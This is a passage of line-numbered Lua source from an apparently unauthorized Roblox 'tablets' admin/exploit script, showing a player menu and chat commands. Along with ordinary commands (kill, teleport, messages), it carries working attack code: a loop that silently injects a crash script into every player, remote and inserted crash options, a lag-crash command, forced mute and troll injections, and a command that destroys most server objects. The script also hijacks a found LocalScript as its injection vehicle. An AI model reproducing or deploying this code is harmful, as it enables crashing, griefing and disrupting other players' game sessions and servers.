  1534.                                         table.insert(Players, v)
  1535.                                 end
  1536.                         end
  1537.                 elseif Name == "random" then
  1538.                         local FoundRandPlr = randPlayer(Plr)
  1539.                         table.insert(Players, FoundRandPlr)
  1540.                 else
  1541.                         for _,v in pairs(All()) do
  1542.                                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1543.                                         table.insert(Players, v)
  1544.                                 end
  1545.                         end
  1546.                 end
  1547.         end)
  1548.         return Players
  1549. end
  1550.  
  1551. function ListPlayers(Speaker)
  1552.         ypcall(function()
  1553.                 Dismiss(Speaker)
  1554.                 for _,v in pairs(All2()) do
  1555.                         if v.Parent ~= nil then
  1556.                                 Ping(v.Name, Speaker, nil, function()
  1557.                                         Dismiss(Speaker)
  1558.                                         Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1559.                                         Ping("Rank: "..FindRank(v.Name), Speaker)
  1560.                                         Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1561.                                         Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1562.                                         Ping("Set Rank", Speaker, nil, function()
  1563.                                                 if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1564.                                                         Dismiss(Speaker)
  1565.                                                         for i = -2, 5 do
  1566.                                                                 Ping(i, Speaker, nil, function()
  1567.                                                                         ChangeRank(v, i)
  1568.                                                                         Dismiss(Speaker)
  1569.                                                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1570.                                                                 end)
  1571.                                                         end
  1572.                                                 else
  1573.                                                         Ping("Your Rank Is Too Low", Speaker, 5)
  1574.                                                 end
  1575.                                         end)
  1576.                                         Ping("Crash (Remote)", Speaker, nil, function()
  1577.                                                 if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1578.                                                         Crash2(v.Name)
  1579.                                                         Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1580.                                                 end
  1581.                                         end)
  1582.                                         Ping("Crash (Insert)", Speaker, nil, function()
  1583.                                                 if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1584.                                                         Crash3(v, Speaker)
  1585.                                                         Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1586.                                                 end
  1587.                                         end)
  1588.                                         Ping("Kick", Speaker, nil, function()
  1589.                                                 if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1590.                                                         v:Kick()
  1591.                                                         Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1592.                                                 end
  1593.                                         end)
  1594.                                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1595.                         else
  1596.                                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  1597.                                         Dismiss(Speaker)
  1598.                                         Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1599.                                         ypcall(function()
  1600.                                                 Ping("Rank: "..FindRank(v.Name), Speaker)
  1601.                                         end)
  1602.                                         ypcall(function()
  1603.                                                 Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1604.                                         end)
  1605.                                         ypcall(function()
  1606.                                                 Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1607.                                         end)
  1608.                                         ypcall(function()
  1609.                                                 Ping("Set Rank", Speaker, nil, function()
  1610.                                                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1611.                                                                 Dismiss(Speaker)
  1612.                                                                 for i = -2, 5 do
  1613.                                                                         Ping(i, Speaker, nil, function()
  1614.                                                                                 ChangeRank(v, i)
  1615.                                                                                 Dismiss(Speaker)
  1616.                                                                                 Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1617.                                                                         end)
  1618.                                                                 end
  1619.                                                         else
  1620.                                                                 Ping("Your Rank Is Too Low", Speaker, 5)
  1621.                                                         end
  1622.                                                 end)
  1623.                                         end)
  1624.                                         ypcall(function()
  1625.                                                 Ping("Nil Crash (Remote)", Speaker, nil, function()
  1626.                                                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1627.                                                                 Crash2(v.Name)
  1628.                                                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1629.                                                         end
  1630.                                                 end)
  1631.                                         end)
  1632.                                         ypcall(function()
  1633.                                                 Ping("Nil Crash (Insert)", Speaker, nil, function()
  1634.                                                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1635.                                                                 Crash3(v, Speaker)
  1636.                                                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1637.                                                         end
  1638.                                                 end)
  1639.                                         end)
  1640.                                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1641.                         end
  1642.                 end
  1643.         end)
  1644. end
  1645.  
  1646. --Misc
  1647.  
  1648. coroutine.resume(coroutine.create(function()
  1649.         PlaceAllRanks()
  1650. end))
  1651.        
  1652. Delay(0, function()
  1653.         for _,v in pairs(All()) do
  1654.                 v.Chatted:connect(function(Msg)
  1655.                          onChatted(Msg, v)
  1656.                         end)
  1657.         end
  1658. end)
  1659.  
  1660. local starttime = tick()
  1661.  
  1662. game:GetService("RunService").Heartbeat:connect(function()
  1663.         if Removed == false then
  1664.                 ypcall(function()
  1665.                         for _,Player in pairs(All()) do
  1666.                                 local PlayerTablets = {}
  1667.                                 for i,v in pairs(AllTabs) do
  1668.                                         if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1669.                                                 table.insert(PlayerTablets, v)
  1670.                                         end
  1671.                                 end
  1672.                                 for i = 1, #PlayerTablets do
  1673.                                         ypcall(function()
  1674.                                                 local tab = PlayerTablets[i].Tab
  1675.                                                 local pos = nil
  1676.                                                 ypcall(function()
  1677.                                                         pos = Player.Character.Torso.CFrame
  1678.                                                 end)
  1679.                                                 local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1680.                                                 local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1681.                                                 local cPos = tab.Position
  1682.                                                 local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1683.                                                 local nPos = (ePos-cPos)*.25
  1684.                                                 cPos = cPos + nPos
  1685.                                                 local t = (tick() - starttime) % 360
  1686.                                                 local change = 0.625
  1687.                                                 PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1688.                                                 tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
  1689.                                                 tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1690.                                         end)
  1691.                                 end
  1692.                         end
  1693.                 end)
  1694.         end
  1695. end)
  1696.  
  1697. Delay(0, function()
  1698.         while wait() do
  1699.                 for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1700.                         ypcall(function()
  1701.                                 if Injected[v.Name] == nil and LS ~= nil then
  1702.                                         Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1703.                                         Injected[v.Name] = true
  1704.                                 end
  1705.                         end)
  1706.                 end
  1707.         end
  1708. end)
  1709.  
  1710. Plrs.PlayerAdded:connect(function(Plr)
  1711.         wait(.1)
  1712.         ypcall(function()
  1713.                 if Removed == false then
  1714.                         local JoinPlrName = Plr.Name
  1715.                         coroutine.resume(coroutine.create(function()
  1716.                                 PlaceSpecificRank(Plr)
  1717.                         end))
  1718.                         coroutine.resume(coroutine.create(function()
  1719.                                 if Injected[JoinPlrName] ~= nil then
  1720.                                         Injected[JoinPlrName] = nil
  1721.                                 end
  1722.                         end))
  1723.                         coroutine.resume(coroutine.create(function()
  1724.                                 Dismiss(Plr)
  1725.                                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1726.                         end))
  1727.                 end
  1728.         end)
  1729. end)
  1730.  
  1731. Plrs.PlayerRemoving:connect(function(Plr)
  1732.         wait(.1)
  1733.         ypcall(function()
  1734.                 if Removed == false then
  1735.                         local LeftPlrName = Plr.Name
  1736.                         coroutine.resume(coroutine.create(function()
  1737.                                 if Injected[LeftPlrName] ~= nil then
  1738.                                         Injected[LeftPlrName] = nil
  1739.                                 end
  1740.                         end))
  1741.                 end
  1742.         end)
  1743. end)
  1744.  
  1745. coroutine.resume(coroutine.create(function()
  1746.         Delay(0, function()
  1747.                 while FoundLocalScript == false do wait()
  1748.                         ypcall(function()
  1749.                                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1750.                                         if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1751.                                                 for _,c in pairs(v:children()) do
  1752.                                                         if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1753.                                                                 local NewVal = c:Clone()
  1754.                                                                 NewVal.Name = "LoadingVal"
  1755.                                                                 for _,s in pairs(v:GetChildren()) do
  1756.                                                                         if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1757.                                                                                 print("Found Owner")
  1758.                                                                                 OwnSource = s.Name
  1759.                                                                                 print(OwnSource)
  1760.                                                                                 break
  1761.                                                                         end
  1762.                                                                 end
  1763.                                                                 wait()
  1764.                                                                 LS = v:Clone()
  1765.                                                                 NewVal.Parent = LS
  1766.                                                                 LSSource = "LoadingVal"
  1767.                                                                 FoundLocalScript = true
  1768.                                                                 break
  1769.                                                         end
  1770.                                                 end
  1771.                                         end
  1772.                                 end
  1773.                         end)
  1774.                 end
  1775.         end)
  1776. end))
  1777.  
  1778. --Commands
  1779.  
  1780. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1781.         Dismiss(Speaker.Name)
  1782.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1783.         Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1784.         Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1785.         Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1786.         Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1787.         Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1788.         Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1789.         Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1790.        
  1791. end)
  1792.  
  1793. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  1794.         Dismiss(Speaker.Name)
  1795. end)
  1796.  
  1797. Command("Kill", 2, "Kills A Player",
  1798.         function(Msg, Speaker)
  1799.         local PlrTab = getPlayer(Speaker, Msg)
  1800.         if #PlrTab > 0 then
  1801.                 for _,v in pairs(PlrTab) do
  1802.                         ypcall(function()
  1803.                                 v.Character:BreakJoints()
  1804.                                 Ping("Killed "..v.Name, Speaker, 5)
  1805.                         end)
  1806.                 end
  1807.         end
  1808. end)
  1809.  
  1810. Command("expl", 2, "Explodes A Player",
  1811.         function(Msg, Speaker)
  1812.         local PlrTab = getPlayer(Speaker, Msg)
  1813.         if #PlrTab > 0 then
  1814.                 for _,v in pairs(PlrTab) do
  1815.                         ypcall(function()
  1816.                 if v.Character and v.Character:findFirstChild("Head") then
  1817.                         local e = Instance.new("Explosion")
  1818.                         e.Position = v.Character.Head.Position
  1819.                         e.Parent = v.Character
  1820.                                 Ping("Exploded "..v.Name, Speaker, 5)
  1821.                                 end
  1822.                         end)
  1823.                 end
  1824.         end
  1825. end)
  1826.  
  1827.  
  1828. Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
  1829.         Dismiss()
  1830. end)
  1831.  
  1832. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1833.         local PlrTab = getPlayer(Speaker, Msg)
  1834.         if #PlrTab > 0 then
  1835.                 for _,v in pairs(PlrTab) do
  1836.                         ypcall(function()
  1837.                                 if v.Name ~= Owner then
  1838.                                         Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1839.                                         Ping("Muted "..v.Name, Speaker, 5)
  1840.                                 end
  1841.                         end)
  1842.                 end
  1843.         end
  1844. end)
  1845.  
  1846.  
  1847.  
  1848. Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
  1849.         local PlrTab = getPlayer(Speaker, Msg)
  1850.         if #PlrTab > 0 then
  1851.                 for _,v in pairs(PlrTab) do
  1852.                         ypcall(function()
  1853.                                         Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
  1854.                                        
  1855.                         end)
  1856.                 end
  1857.         end
  1858. end)
  1859.  
  1860. Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
  1861.         local PlrTab = getPlayer(Speaker, Msg)
  1862.         if #PlrTab > 0 then
  1863.                 for _,v in pairs(PlrTab) do
  1864.                         ypcall(function()
  1865.                                         Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
  1866.                                        
  1867.                         end)
  1868.                 end
  1869.         end
  1870. end)
  1871. Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
  1872.         Dismiss()
  1873.         for i = 1, 2 do
  1874.         Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
  1875. end end)
  1876. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1877.         local PlrTab = getPlayer(Speaker, Msg)
  1878.         if #PlrTab > 0 then
  1879.                 for _,v in pairs(PlrTab) do
  1880.                         ypcall(function()
  1881.                                 Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1882.                                 Ping("Rejoined "..v.Name, Speaker, 5)
  1883.                         end)
  1884.                 end
  1885.         end
  1886. end)
  1887.  
  1888. Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
  1889.         local PlrTab = getPlayer(Speaker, Msg)
  1890.         if #PlrTab > 0 then
  1891.                 for _,v in pairs(PlrTab) do
  1892.                         ypcall(function()
  1893.                                 Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1894.                                 Ping("Jailed "..v.Name, Speaker, 5)
  1895.                         end)
  1896.                 end
  1897.         end
  1898. end)
  1899.  
  1900. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1901.         local PlrTab = getPlayer(Speaker, Msg)
  1902.         if #PlrTab > 0 then
  1903.                 for _,v in pairs(PlrTab) do
  1904.                         ypcall(function()
  1905.                                 Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1906.                                 Ping("Lag Crashing "..v.Name, Speaker, 5)
  1907.                         end)
  1908.                 end
  1909.         end
  1910. end)
  1911.  
  1912. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1913.         local PlrTab = getPlayer(Speaker, Msg)
  1914.         if #PlrTab > 0 then
  1915.                 for _,v in pairs(PlrTab) do
  1916.                         ypcall(function()
  1917.                                 Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1918.                                 Ping("UnMuted "..v.Name, Speaker, 5)
  1919.                         end)
  1920.                 end
  1921.         end
  1922. end)
  1923.  
  1924. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1925.         local Worked = false
  1926.         for _,v in pairs(Work:GetChildren()) do
  1927.                 if string.find(v.Name:lower(), Msg:lower()) then
  1928.                         if v:IsA("Script") or v:IsA("LocalScript") then
  1929.                                 v.Disabled = true
  1930.                                 v:Destroy()
  1931.                                 Worked = true
  1932.                                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  1933.                         end
  1934.                 end
  1935.         end
  1936.         if Worked == false then
  1937.                 Ping("Script Not Found", Speaker, 5)
  1938.         end
  1939. end)
  1940.  
  1941. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1942.         Dismiss(Speaker)
  1943.         local AllScripts = {}
  1944.         for _,v in pairs(Work:GetChildren()) do
  1945.                 if v:IsA("Script") then
  1946.                         table.insert(AllScripts, v.Name)
  1947.                 end
  1948.         end
  1949.         if #AllScripts > 0 then
  1950.                 for _,v in pairs(AllScripts) do
  1951.                         Ping(v, Speaker)
  1952.                 end
  1953.         else
  1954.                 Ping("No Scripts Found", Speaker, 5)
  1955.         end
  1956. end)
  1957.  
  1958. Command("afk",0,'Makes you go AFK',
  1959.          function(Msg,Speaker)
  1960.                 Dismiss(Speaker)
  1961.                 for i = 1,8 do
  1962.                         Ping('AFK',Speaker)
  1963.                                                         wait(.01)
  1964.                         end
  1965.         end)
  1966. Command("back",0,'Creates Tablets telling everyone that you are back',
  1967.          function(Msg,Speaker)
  1968.                 Dismiss(Speaker)
  1969.                 for i = 1,8 do
  1970.                         Ping('Welcome Back!',Speaker,6)
  1971.                                         wait(.1)
  1972.                         end
  1973.         end)
  1974.  
  1975.  
  1976.  
  1977.  
  1978. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1979.         Dismiss(Speaker)
  1980.         local LocalScripts = {}
  1981.         for _,v in pairs(All()) do
  1982.                 ypcall(function()
  1983.                         for _,x in pairs(v.Character:GetChildren()) do
  1984.                                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1985.                                         table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1986.                                 end
  1987.                         end
  1988.                 end)
  1989.                 ypcall(function()
  1990.                         for _,x in pairs(v.Backpack:GetChildren()) do
  1991.                                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1992.                                         table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1993.                                 end
  1994.                         end
  1995.                 end)
  1996.                 ypcall(function()
  1997.                         for _,x in pairs(v.PlayerGui:GetChildren()) do
  1998.                                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1999.                                         table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  2000.                                 end
  2001.                         end
  2002.                 end)
  2003.         end
  2004.         if #LocalScripts > 0 then
  2005.                 for _,v in pairs(LocalScripts) do
  2006.                         Ping(v, Speaker)
  2007.                 end
  2008.         else
  2009.                 Ping("No Local Scripts Found", Speaker, 5)
  2010.         end
  2011. end)
  2012.  
  2013. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  2014.         local Split = GetSplit(Msg)
  2015.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2016.         local ScriptName = Msg:sub(Split + 1)
  2017.         local FoundLocal = false
  2018.         for _,name in pairs(PlrTab) do
  2019.                 ypcall(function()
  2020.                         for _,v in pairs(name.Character:GetChildren()) do
  2021.                                 if string.find(v.Name:lower(), ScriptName) then
  2022.                                         if v:IsA("Script") or v:IsA("LocalScript") then
  2023.                                                 v.Disabled = true
  2024.                                                 v:Destroy()
  2025.                                                 FoundLocal = true
  2026.                                                 Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2027.                                         end
  2028.                                 end
  2029.                         end
  2030.                 end)
  2031.                 ypcall(function()
  2032.                         for _,v in pairs(name.Backpack:GetChildren()) do
  2033.                                 if string.find(v.Name:lower(), ScriptName) then
  2034.                                         if v:IsA("Script") or v:IsA("LocalScript") then
  2035.                                                 v.Disabled = true
  2036.                                                 v:Destroy()
  2037.                                                 FoundLocal = true
  2038.                                                 Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2039.                                         end
  2040.                                 end
  2041.                         end
  2042.                 end)
  2043.                 ypcall(function()
  2044.                         for _,v in pairs(name.PlayerGui:GetChildren()) do
  2045.                                 if string.find(v.Name:lower(), ScriptName) then
  2046.                                         if v:IsA("Script") or v:IsA("LocalScript") then
  2047.                                                 v.Disabled = true
  2048.                                                 v:Destroy()
  2049.                                                 FoundLocal = true
  2050.                                                 Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2051.                                         end
  2052.                                 end
  2053.                         end
  2054.                 end)
  2055.                 if FoundLocal == false then
  2056.                         Ping("Local Script Not Found", Speaker, 5)
  2057.                 end
  2058.         end
  2059. end)
  2060.  
  2061. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  2062.         for _,v in pairs(game:GetChildren()) do
  2063.                 ypcall(function()
  2064.                         if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  2065.                                 for _,a in pairs(v:GetChildren()) do
  2066.                                         ypcall(function()
  2067.                                                 a:Destroy()
  2068.                                         end)
  2069.                                 end
  2070.                         elseif v.Name == "Players" then
  2071.                                 for _,plr in pairs(v:GetPlayers()) do
  2072.                                         Clear(plr)
  2073.                                 end
  2074.                         end
  2075.                 end)
  2076.         end
  2077.         Clean()
  2078.         Fixl()
  2079.         Ping("Fully Cleaned", Speaker, 5)
  2080. end)
  2081.  
  2082. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  2083.         LClean()
  2084.         Fixl()
  2085.         Ping("Lightly Cleaned", Speaker, 5)
  2086. end)
  2087.  
  2088. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  2089.         local PlrTab = getPlayer(Speaker, Msg)
  2090.         if #PlrTab > 0 then
  2091.                 for _,v in pairs(PlrTab) do
  2092.                         ypcall(function()
  2093.                                 v:LoadCharacter()
  2094.                                 Ping("Reset "..v.Name, Speaker, 5)
  2095.                         end)
  2096.                 end
  2097.         end
  2098. end)
  2099.  
  2100. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  2101.         repeat wait() until Speaker.Character:findFirstChild("Torso")
  2102.         if Work:findFirstChild("Base") then
  2103.                 Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  2104.         else
  2105.                 Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  2106.         end
  2107.         Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  2108. end)
  2109.  
  2110. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  2111.         local PlrTab = getPlayer(Speaker, Msg)
  2112.         if #PlrTab > 0 then
  2113.                 for _,v in pairs(PlrTab) do
  2114.                         ypcall(function()
  2115.                                 v.Character.Torso.Anchored = true
  2116.                                 Ping("Froze "..v.Name, Speaker, 5)
  2117.                         end)
  2118.                 end
  2119.         end
  2120. end)
  2121.  
  2122. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  2123.         wait(3)
  2124.         Ping("Something went wrong",Speaker,5)
  2125.         end)
  2126.  
  2127. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  2128.         local PlrTab = getPlayer(Speaker, Msg)
  2129.         if #PlrTab > 0 then
  2130.                 for _,v in pairs(PlrTab) do
  2131.                         ypcall(function()
  2132.                                 Instance.new("ForceField", v.Character)
  2133.                         end)
  2134.                 end
  2135.         end
  2136. end)
  2137.  
  2138. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  2139.         local PlrTab = getPlayer(Speaker, Msg)
  2140.         if #PlrTab > 0 then
  2141.                 for _,v in pairs(PlrTab) do
  2142.                         ypcall(function()
  2143.                                 RemObj(v.Character, "ForceField")
  2144.                         end)
  2145.                 end
  2146.         end
  2147. end)
  2148.  
  2149. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  2150.         local Split = GetSplit(Msg)
  2151.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2152.         local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  2153.         if #PlrTab > 0 and #PlrTab2 > 0 then
  2154.                 for i,v in pairs(PlrTab) do
  2155.                         ypcall(function()
  2156.                                 for _,v2 in pairs(PlrTab2) do
  2157.                                         ypcall(function()
  2158.                                                 v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  2159.                                                 Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  2160.                                         end)
  2161.                                 end
  2162.                         end)
  2163.                 end
  2164.         end
  2165. end)
  2166.  
  2167. Command("Msg",2, "Creates a Message",
  2168.         function(Msg,Speaker)
  2169.                 Message(Msg)
  2170. end)
  2171.  
  2172. Command("H",2, "Creates a Hint",
  2173.         function(Msg,Speaker)
  2174.                 Hint(Msg)
  2175. end)
  2176.  
  2177. Command("Sm",2, "Creates a System message",
  2178.         function(Msg,Speaker)
  2179.                 SystemMsg(Msg)
  2180. end)
  2181.  
  2182. function Message(str,p)
  2183.         if p==nil then
  2184.                 for _,Player in pairs(game.Players:GetPlayers()) do
  2185.                         coroutine.wrap(function()
  2186.                                 local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2187.                                 local Text = Instance.new("TextLabel", Msg)
  2188.                                 Text.Position = UDim2.new(0, 0, 0.7, 0)
  2189.                                 Text.Font=2
  2190.                                 Text.FontSize=9
  2191.                                 Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2192.                                 Text.BackgroundTransparency = 0.4
  2193.                                 Text.TextColor3 = Color3.new(1, 1, 1)
  2194.                                 Text.TextTransparency = 1
  2195.                                 Text.TextWrap = true
  2196.                                 Text.Text = tostring(str)
  2197.                                 Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2198.                                 Text.TextTransparency = 0
  2199.                                 Num = #str * 0.06
  2200.                                 wait(3)
  2201.                                 Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2202.                                 wait(Num)
  2203.                                 Msg:Remove()
  2204.                         end)()
  2205.                 end
  2206.         else
  2207.                 Player=p;
  2208.                 coroutine.wrap(function()
  2209.                         local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2210.                         local Text = Instance.new("TextLabel", Msg)
  2211.                         Text.Position = UDim2.new(0, 0, 0.7, 0)
  2212.                         Text.Font=2
  2213.                         Text.FontSize=9
  2214.                         Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2215.                         Text.BackgroundTransparency = 0.1
  2216.                         Text.TextColor3 = Color3.new(1, 1, 1)
  2217.                         Text.TextTransparency = 1
  2218.                         Text.TextWrap = true
  2219.                         Text.Text = tostring(str)
  2220.                         Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2221.                         Text.TextTransparency = 0
  2222.                         Num = #str * 0.06
  2223.                         wait(3)
  2224.                         Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2225.                         wait(Num)
  2226.                         Msg:Remove()
  2227.                 end)()
  2228.         end
  2229. end
  2230. function SystemMsg(str)
  2231.         for _,Player in pairs(game.Players:GetPlayers()) do
  2232.                 coroutine.wrap(function()
  2233.                         local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2234.                         local Text = Instance.new("TextLabel", Msg)
  2235.                         Text.Position = UDim2.new(0, 0, 0, 0)
  2236.                         Text.Font='Legacy'
  2237.                         Text.FontSize = "Size48"
  2238.                         Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2239.                         Text.BackgroundTransparency = 0.4
  2240.                         Text.TextColor3 = Color3.new(1,1,1)
  2241.                         Text.TextTransparency = 0
  2242.                         Text.TextWrap = true
  2243.                         Text.Text = ' [ System ] \n ' .. tostring(str)
  2244.                         Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2245.                         Text.TextTransparency = 0.1
  2246.                         Num = #str * 0.06
  2247.                         wait(6)
  2248.                         Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2249.                         wait(Num)
  2250.                         Msg:Remove()
  2251.                 end)()
  2252.         end
  2253. end
  2254. function Hint(str,p)
  2255.         if p == nil then
  2256.                 for _,Player in pairs(game.Players:GetPlayers()) do
  2257.                         coroutine.wrap(function()
  2258.                                 local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2259.                                 local Text = Instance.new("TextLabel", Msg)
  2260.                                 Text.Position = UDim2.new(0, 0, 0, 0)
  2261.                                 Text.Font=2
  2262.                                 Text.FontSize=9
  2263.                                 Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2264.                                 Text.BackgroundTransparency = 0.4
  2265.                                 Text.TextColor3 = Color3.new(1, 1, 1)
  2266.                                 Text.TextTransparency = 1
  2267.                                 Text.TextWrap = true
  2268.                                 Text.Text = tostring(str)
  2269.                                 Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2270.                                 Text.TextTransparency = 0
  2271.                                 Num = #str * 0.06
  2272.                                 wait(3)
  2273.                                 Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2274.                                 wait(Num)
  2275.                                 Msg:Remove()
  2276.                         end)()
  2277.                 end
  2278.         else
  2279.                 Player=p
  2280.                 coroutine.wrap(function()
  2281.                         local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
